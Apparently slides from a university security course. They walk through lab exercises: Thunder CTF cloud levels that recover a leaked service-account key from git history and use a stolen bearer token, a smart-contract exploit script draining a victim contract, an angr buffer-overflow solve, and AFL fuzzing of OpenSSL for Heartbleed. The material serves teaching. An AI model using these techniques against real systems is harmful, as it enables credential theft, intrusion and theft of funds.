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cloudshell$ git log
commit 64f67c59332e497f7ebcb26b5ce6d768257950fd
...

whoops didn't mean to add the service account key
...
commit 6c2f3176d0de569dc927d6d3f8e14a13767a3d4e
...
cloudshell$ git checkout 6c2f
cloudshell$ head -4 key.json
{
"type": "service_account",
"project_id": "cs430-portland-state-cloud-class",
"private_key_id": "dbe....b04",

cloudshell$ gcloud auth activate-service-account --key-file=key.json
cloudshell$ gsutil cp gs://level2-486445797/secret.txt .

Level concepts
• Open buckets
• Credentials in repositories
• Exposed logging backends
• Service account privilege escalation
• Exposed snapshots
• Serverless pivoting

Level concepts
• Permissive permissions
• Filtered log exfiltration
• Keys in code
• Unsanitized error messages
• Access token compromise
• Backdoors via Metadata
• Weak IAM policies
• IAM privilege escalation
• Exposed container images
• Server-side Request Forgery to 

Metadata access (Capital One)

cloudshell$ docker history springern/thunder-ctf-a6:latest
...            CREATED BY
...            /bin/sh -c #(nop)  CMD ["app.py"] 
...            /bin/sh -c #(nop)  ENTRYPOINT ["python"]

cloudshell$ curl https://www.googleapis.com/storage/v1/b/a6-
bucket-693171477535/o/secret.txt?alt=media -H "Authorization: 
Bearer ya29.c.KmCUB42iX…6JQ6mknsKX9Bw4R1EZQTnXlMmXzs"

$ python3 trustfund.py 
wallet address: 0xe9e7034a...3504
victim address: 0x7a28df41...442e
calculated exploit contract address: 
0x8030e24a...6072
Found a winning state, printing all 
transactions
eth.sendTransaction({data:"0x6080604...
eth.sendTransaction({data:"0xbeac44e...
...
eth.sendTransaction({data:"0xb1f14dec...0
0",from:"0xe9e7034a...3504",to:"0x8030e24
a...6072",value:"0x0",gas:"0x80000"})

afl$ xxd out/crashes/id*
00000000: 1803 0000 0101

ssl/ssl3.h
#define TLS1_RT_HEARTBEAT   24
#define SSL3_VERSION_MAJOR  0x03
#define SSL3_VERSION_MINOR  0x00

> personal.unlockAccount(eth.accounts[0])                         geth console
Unlock account 0xe9e7034a...3504
...
> eth.sendTransaction({data:"0xb1f14dec...00", from:"0xe9e7034a...3504", 
to:"0x8030e24a...6072", value:"0x0",gas:"0x80000"})
"0xb7fd...080ab"

(a6container) /app# grep route app.py
@app.route('/')
@app.route('/admin-proxy-aaf4c61...')

1. Cloud security

2. Symbolic Execution

17_angr_arbitrary_jump.c
void print_good() {
printf("Good Job.\n");

}
void read_input() {
char buffer[8];
scanf("%s", buffer);

}
int main() {
printf("Enter the password: ");
read_input();
printf("Try again.\n");

}

for unconstrained_state in simulation.unconstrained:          solve17.py
simulation.move('unconstrained', 'found')

simulation.step()
...
if simulation.found:
solution_state = simulation.found[0]
solution_state.add_constraints(solution_state.regs.eip==0x5a4a4644)
print(solution_state.posix.dumps(sys.stdin.fileno()))

$ objdump -d 17_angr_arbitrary_jump
5a4a4644 <print_good>:

$ python solve17.py ./17_angr_arbitrary_jump 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADFJZAAAAAAAAA...

$ ./17_angr_arbitrary_jump 
Enter the password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADFJZ
Good Job.

3. Smart Fuzzing

rr->type= *(p++);      ssl/s3_pkt.c
ssl_major= *(p++);
ssl_minor= *(p++);
n2s(p,rr->length);

'ZJFD'

afl$ git clone -b OpenSSL_1_0_1f https://github.com/openssl/openssl.git

afl$ AFL_USE_ASAN=1 ~/afl/afl-clang-fast++ -g openssl-heartbeat.cc ... 
openssl/libssl.a -o openssl-heartbeat
afl$ afl-fuzz -i in -o out -m none ./openssl-heartbeat
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